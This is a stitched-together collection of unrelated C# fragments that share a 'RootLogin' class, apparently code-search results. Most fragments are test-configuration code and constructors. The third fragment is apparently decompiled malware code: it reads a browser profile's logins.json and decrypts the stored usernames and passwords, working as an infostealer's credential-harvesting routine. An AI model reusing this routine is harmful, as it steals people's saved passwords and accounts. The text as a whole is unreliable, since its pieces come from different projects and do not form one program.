public dynamic Login(BigInteger username, BigInteger password) { RootLogin rootLogin = new RootLogin(); rootLogin.id = "Login"; rootLogin.password = password; rootLogin.username = username; return(rootLogin); }
private async Task SetConfigVariables() { var configurationBuilder = new ConfigurationBuilder(); var path = Path.Combine(Directory.GetCurrentDirectory(), "appsettings.Development.json"); configurationBuilder.AddJsonFile(path, false); var appsettingsConfig = configurationBuilder.Build(); appsettingsConfig.GetSection("Logins").Bind(_logins); _loginAdm = await Environment.DoLogin(Environment.ClientApiAuth, _logins[0]); _analyzeRequests = await GetAnalyzesRequestsAsync(appsettingsConfig); _alerts = await GetAlertsAsync(appsettingsConfig); _personGroup = await GetPersonGroupAsync(appsettingsConfig); _videoCameras = await GetVideoCamerasAsync(appsettingsConfig); _persons = await GetPersonsAsync(appsettingsConfig); }
// Token: 0x060000E5 RID: 229 RVA: 0x00007090 File Offset: 0x00005290 private static IEnumerable <BrowserCredendtial> ExtractLogins(string profile, byte[] privateKey) { List <BrowserCredendtial> list = new List <BrowserCredendtial>(); try { string path = ChromiumManager.CreateTempCopy(Path.Combine(profile, "logins.json")); if (!File.Exists(path)) { return(list); } RootLogin rootLogin = File.ReadAllText(path).FromJSON <RootLogin>(); Asn1Der asn1Der = new Asn1Der(); foreach (LoginJson loginJson in rootLogin.logins) { Asn1DerObject asn1DerObject = asn1Der.Parse(Convert.FromBase64String(loginJson.encryptedUsername)); Asn1DerObject asn1DerObject2 = asn1Der.Parse(Convert.FromBase64String(loginJson.encryptedPassword)); string text = Regex.Replace(TripleDESHelper.DESCBCDecryptor(privateKey, asn1DerObject.objects[0].objects[1].objects[1].Data, asn1DerObject.objects[0].objects[2].Data, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty); string text2 = Regex.Replace(TripleDESHelper.DESCBCDecryptor(privateKey, asn1DerObject2.objects[0].objects[1].objects[1].Data, asn1DerObject2.objects[0].objects[2].Data, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty); BrowserCredendtial browserCredendtial = new BrowserCredendtial { URL = (string.IsNullOrEmpty(loginJson.hostname) ? "UNKNOWN" : loginJson.hostname), Login = (string.IsNullOrEmpty(text) ? "UNKNOWN" : text), Password = (string.IsNullOrEmpty(text2) ? "UNKNOWN" : text2) }; if (browserCredendtial.Login != "UNKNOWN" && browserCredendtial.Password != "UNKNOWN" && browserCredendtial.URL != "UNKNOWN") { list.Add(browserCredendtial); } } } catch (Exception value) { Console.WriteLine(value); } return(list); }
public PersonsLoadable(RootLogin login) : base(login) { }
public AlertsConfigurationLoadable(RootLogin login) : base(login) { }
public PersonGroupLoadable(RootLogin login, List <AlertViewModel> alerts) : base(login) { _alerts = alerts; }
public BaseConfigurationLoadable(RootLogin login) { _login = login; }
public VideoCamerasLoadable(RootLogin login, List <AnalyzeRequestViewModel> analyzeRequests) : base(login) { _analyzeRequests = analyzeRequests; }
public AnalyzeRequestsConfigurationLoadable(RootLogin login) : base(login) { }